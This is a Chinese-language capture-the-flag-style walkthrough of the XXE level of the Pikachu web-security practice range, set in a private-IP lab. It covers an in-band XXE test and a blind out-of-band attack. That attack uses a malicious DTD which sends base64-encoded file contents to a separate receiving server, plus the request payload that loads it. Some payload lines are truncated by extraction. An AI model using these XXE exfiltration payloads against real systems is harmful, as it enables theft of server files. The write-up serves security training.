pikache靶场通关——XXE

文章目录

  • 前言
  • 一、有返回显示XXE
    • 1、在输入框输入随机数据,抓包
    • 2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入
    • 3、使用BP进行URL编码,利用XXE来读取系统文件
  • 二、无回显XXE
    • 1、模拟使用的机器
    • 2、修改代码实现靶场无回显
      • 2.1、修改靶场代码,让其实现无回显
      • 2.2、在靶场输入数据,抓包测试
    • 3、开始复现
      • 3.1、利用DNSLog来测试XXE是否存在
      • 3.2、创建一个恶意dtd文档,构造读取方式
      • 3.3、在接受服务器开启server服务
      • 3.4、在BP中构造POC重发送
      • 3.5、POC讲解


前言

关卡样式:
pikache靶场通关——XXE_第1张图片


一、有返回显示XXE

1、在输入框输入随机数据,抓包

输入123,查看结果:
pikache靶场通关——XXE_第2张图片
输入123后,显示上图数据,说明这里输入的XML格式错误

查看抓取的数据包:
pikache靶场通关——XXE_第3张图片
抓到的数据包如上

2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入

输入的XML格式:

xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe "正确的XXE输入">]>
<foo>&xxe;</foo>

在BP数据包中修改后重发送
pikache靶场通关——XXE_第4张图片
发现还是报错。

在靶场中输入:
pikache靶场通关——XXE_第5张图片
这里发现竟然输入正确了。

这其中有什么区别呢?使用BP抓包看一看
pikache靶场通关——XXE_第6张图片
这里发现被URL编码了
pikache靶场通关——XXE_第7张图片

3、使用BP进行URL编码,利用XXE来读取系统文件

pikache靶场通关——XXE_第8张图片
pikache靶场通关——XXE_第9张图片
这里就成功读取到指定的文件内容了。


二、无回显XXE

1、模拟使用的机器

这里需要使用3台机器模拟:

  • 攻击机:192.168.43.130
  • 靶机:192.168.43.131
  • 模拟外网接收服务器:192.168.43.129

2、修改代码实现靶场无回显

2.1、修改靶场代码,让其实现无回显

pikache靶场通关——XXE_第10张图片

2.2、在靶场输入数据,抓包测试

pikache靶场通关——XXE_第11张图片
pikache靶场通关——XXE_第12张图片
这里地区实现无回显了。

3、开始复现

3.1、利用DNSLog来测试XXE是否存在

pikache靶场通关——XXE_第13张图片
pikache靶场通关——XXE_第14张图片
pikache靶场通关——XXE_第15张图片

返回DNSLog查看
pikache靶场通关——XXE_第16张图片
的确接收到了,这就说明XXE是存在的。

3.2、创建一个恶意dtd文档,构造读取方式

pikache靶场通关——XXE_第17张图片
注意:这里的IP地址是写模拟外网接收服务器的IP地址
POC:


% send SYSTEM 'http://192.168.43.129?c=%file;'>">

接着就把这个文件改成dtd格式,放置到模拟外网接收服务器中

pikache靶场通关——XXE_第18张图片

3.3、在接受服务器开启server服务

开启位置是放置dtd的文件夹
在这里插入图片描述

3.4、在BP中构造POC重发送

pikache靶场通关——XXE_第19张图片
pikache靶场通关——XXE_第20张图片
pikache靶场通关——XXE_第21张图片

在接受服务器就看到上图的信息,把“c=”后面的数据复制出来,进行BASE64解码
pikache靶场通关——XXE_第22张图片
解码后就得到我们想得到的信息。

POC:

xml version="1.0"?>
<!DOCTYPE foo [
	<!ENTITY % xxe SYSTEM "http://192.168.43.129/123.dtd">
	%xxe;%int;%send;
]>

注意:上面需要在xxe实体前加上%才能引用,还有不要忘记分号(;)

3.5、POC讲解

很多人会疑问:%xxe;%int;%send;究竟是什么意思?

其实这里第一个%xxe;就是指向dtd文件
pikache靶场通关——XXE_第23张图片

第二个%int;就是指向构造的XML语句
在这里插入图片描述

第三个send;就是指向我们要读取的目标文件
在这里插入图片描述
在这里插入图片描述


你可能感兴趣的:(web安全,渗透模拟练手,web安全,学习)